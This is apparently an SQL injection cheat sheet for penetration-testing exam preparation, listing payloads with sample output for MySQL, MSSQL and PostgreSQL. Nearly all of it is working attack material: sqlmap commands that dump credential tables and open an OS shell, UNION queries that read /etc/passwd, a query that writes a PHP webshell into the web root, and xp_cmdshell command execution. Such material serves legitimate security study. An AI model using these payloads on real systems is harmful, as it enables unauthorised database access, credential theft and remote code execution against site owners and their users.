SQL INJECTION

Test for SQLi

Try in every input field — Look for errors or behavior change

' OR 1=1-- -
" OR 1=1-- -
' OR '1'='1
1' ORDER BY 1-- -
Example Output
Input: ' OR 1=1-- -

Response shows ALL users instead of one
OR: Error: You have an error in your SQL syntax near '''
OR: Page content changes between ' OR 1=1-- - and ' OR 1=2-- -
(SQLi CONFIRMED)

LAB ONLY - SQLMap automated

NOT ALLOWED ON OFFSEC EXAMS. Automated SQLi — Enumerate databases

sqlmap -u 'http://$IP/page.php?id=1' --batch --dbs
Example Output
sqlmap -u 'http://10.10.10.5/page.php?id=1' --batch --dbs
[INFO] the back-end DBMS is MySQL
available databases [3]:
[*] information_schema
[*] webapp
[*] mysql
(NOT ALLOWED ON OFFSEC EXAMS)

LAB ONLY - SQLMap with POST data

NOT ALLOWED ON OFFSEC EXAMS. POST parameter injection — Login forms

sqlmap -u 'http://$IP/login.php' --data='user=admin&pass=test' --batch --dbs
Example Output
sqlmap -u 'http://10.10.10.5/login' --data='user=a&pass=b' --batch
[INFO] Parameter 'user' is vulnerable
Type: UNION query
(NOT ALLOWED ON OFFSEC EXAMS)

LAB ONLY - SQLMap dump creds

NOT ALLOWED ON OFFSEC EXAMS. Dump user table — Usernames and hashes

sqlmap -u 'http://$IP/page.php?id=1' -D <db> -T users --dump
Example Output
sqlmap -D webapp -T users --dump
+-------+----------+
| admin | P@ssw0rd |
| john  | welcome1 |
(NOT ALLOWED ON OFFSEC EXAMS)

LAB ONLY - SQLMap OS shell

NOT ALLOWED ON OFFSEC EXAMS. Get shell via SQLi — Direct RCE

sqlmap -u 'http://$IP/page.php?id=1' --os-shell
Example Output
sqlmap --os-shell
os-shell> whoami
www-data
os-shell> id
uid=33(www-data)
(NOT ALLOWED ON OFFSEC EXAMS)

UNION based manual

Manual UNION injection — Identify column count first with ORDER BY

' UNION SELECT 1,2,3-- -
' UNION SELECT user(),database(),version()-- -
Example Output
' UNION SELECT 1,2,3-- -
Page shows '2' and '3' in output

' UNION SELECT 1,user(),database()-- -
Shows: root@localhost and webapp
(Manual injection = exam legal)

Read files via SQLi

Read files through injection — LFI via database

' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
Example Output
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www
(Read any file the DB user can access)

Write webshell via SQLi

Write PHP shell — RCE if writable web root

' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -
Example Output
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/cmd.php'-- -

Error? Try: INTO DUMPFILE instead of OUTFILE

curl http://10.10.10.5/cmd.php?cmd=id
uid=33(www-data)
(Requires FILE privilege and writable web root)

Error-based injection

Force errors to leak data — When UNION doesn't work

' AND extractvalue(1,concat(0x7e,version()))-- -
Example Output
' AND extractvalue(1,concat(0x7e,version()))-- -

Error: XPATH syntax error: '~5.7.29-0ubuntu0.18.04.1'
(Version leaked through error message)

Blind boolean SQLi

Different response = injectable — Slower but works when no output

' AND 1=1-- - (true)
' AND 1=2-- - (false)
Example Output
' AND 1=1-- -  -> Page loads normally (TRUE)
' AND 1=2-- -  -> Page is blank/different (FALSE)

' AND SUBSTRING(user(),1,1)='r'-- -  -> TRUE
' AND SUBSTRING(user(),1,1)='a'-- -  -> FALSE
(User starts with 'r' -> root)

Time-based blind SQLi

If page delays = injectable — MySQL vs MSSQL syntax

' AND SLEEP(5)-- -
'; WAITFOR DELAY '0:0:5'-- -
Example Output
' AND SLEEP(5)-- -

Page takes 5 seconds to load = INJECTABLE

' AND IF(SUBSTRING(database(),1,1)='w',SLEEP(5),0)-- -
5 second delay -> first char is 'w'
(Slow but works when no visible output)

Determine column count

Keep increasing until you get an error. Last working number = column count — Required before UNION injection

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
(increment until error)
Example Output
' ORDER BY 1-- -  -> OK
' ORDER BY 2-- -  -> OK
' ORDER BY 3-- -  -> OK
' ORDER BY 4-- -  -> ERROR
(3 columns in the query)

Find displayed columns

See which numbers appear on page. Those columns show output. — Inject queries into visible columns

' UNION SELECT 1,2,3,4-- -
(match column count from ORDER BY)
Example Output
' UNION SELECT 1,2,3-- -

Page shows: 2 and 3 in the output
(Inject payloads into columns 2 and 3)

Extract database version

MySQL: version() MSSQL: @@version PostgreSQL: version() — Confirms DB type

' UNION SELECT 1,version(),3-- -
' UNION SELECT 1,@@version,3-- -
Example Output
' UNION SELECT 1,version(),3-- -

5.7.29-0ubuntu0.18.04.1
(MySQL 5.7.29 on Ubuntu)

Extract current database

MySQL: database() MSSQL: db_name() — Know which DB you're in

' UNION SELECT 1,database(),3-- -
' UNION SELECT 1,db_name(),3-- -
Example Output
' UNION SELECT 1,database(),3-- -

Output: webapp
(Now enumerate tables in 'webapp' database)

Extract current user

Check privilege level — DBA = more options

' UNION SELECT 1,user(),3-- -
' UNION SELECT 1,current_user,3-- -
Example Output
' UNION SELECT 1,user(),3-- -

Output: root@localhost
(Root DB user = FILE privileges likely available)

List all databases (MySQL)

All databases in one query — Find interesting databases

' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata-- -

information_schema,mysql,performance_schema,webapp,secret_db

List tables in database

All tables from target DB — Look for users/credentials tables

' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='<dbname>'-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='webapp'-- -

users,posts,settings,sessions

List columns in table

Column names from target table — Find username/password columns

' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -

Output: id,username,password,email,role
(Now dump username and password columns)

Dump table data

0x3a is colon separator — Extract credentials

' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM users-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM users-- -

admin:$2y$10$abc123...,john:$2y$10$def456...,editor:password123
(Crack bcrypt hashes or use plaintext creds)

MSSQL list databases

MSSQL uses different schema — MSSQL syntax

' UNION SELECT 1,name,3 FROM master..sysdatabases-- -
Example Output
' UNION SELECT 1,name,3 FROM master..sysdatabases-- -

master
tempdb
model
msdb
webapp
HRDatabase

MSSQL list tables

xtype U = user tables — MSSQL syntax

' UNION SELECT 1,name,3 FROM <dbname>..sysobjects WHERE xtype='U'-- -
Example Output
' UNION SELECT 1,name,3 FROM webapp..sysobjects WHERE xtype='U'-- -

users
employees
config
sessions

MSSQL list columns

Columns from target table — MSSQL syntax

' UNION SELECT 1,name,3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -
Example Output
' UNION SELECT 1,name,3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -

id
username
password_hash
email

PostgreSQL list databases

PostgreSQL syntax — Different from MySQL

' UNION SELECT 1,datname,3 FROM pg_database-- -
Example Output
' UNION SELECT 1,datname,3 FROM pg_database-- -

postgres
template0
template1
webapp

PostgreSQL list tables

Public schema tables — PostgreSQL syntax

' UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'-- -
Example Output
' UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'-- -

users
posts
config

Stacked queries (MSSQL)

MSSQL supports stacked queries — Direct RCE if sa user

'; EXEC xp_cmdshell 'whoami'-- -
Example Output
'; EXEC xp_cmdshell 'whoami'-- -

nt authority\system
(RCE as SYSTEM via MSSQL stacked queries)

Second-order SQLi

Payload stored, executed later — When direct injection fails

Register user: admin'-- -
Then login or trigger profile update
Example Output
Register username: admin'-- -
Login with that account
Profile page shows: Welcome, admin
(Stored payload executed on profile load, bypassed auth)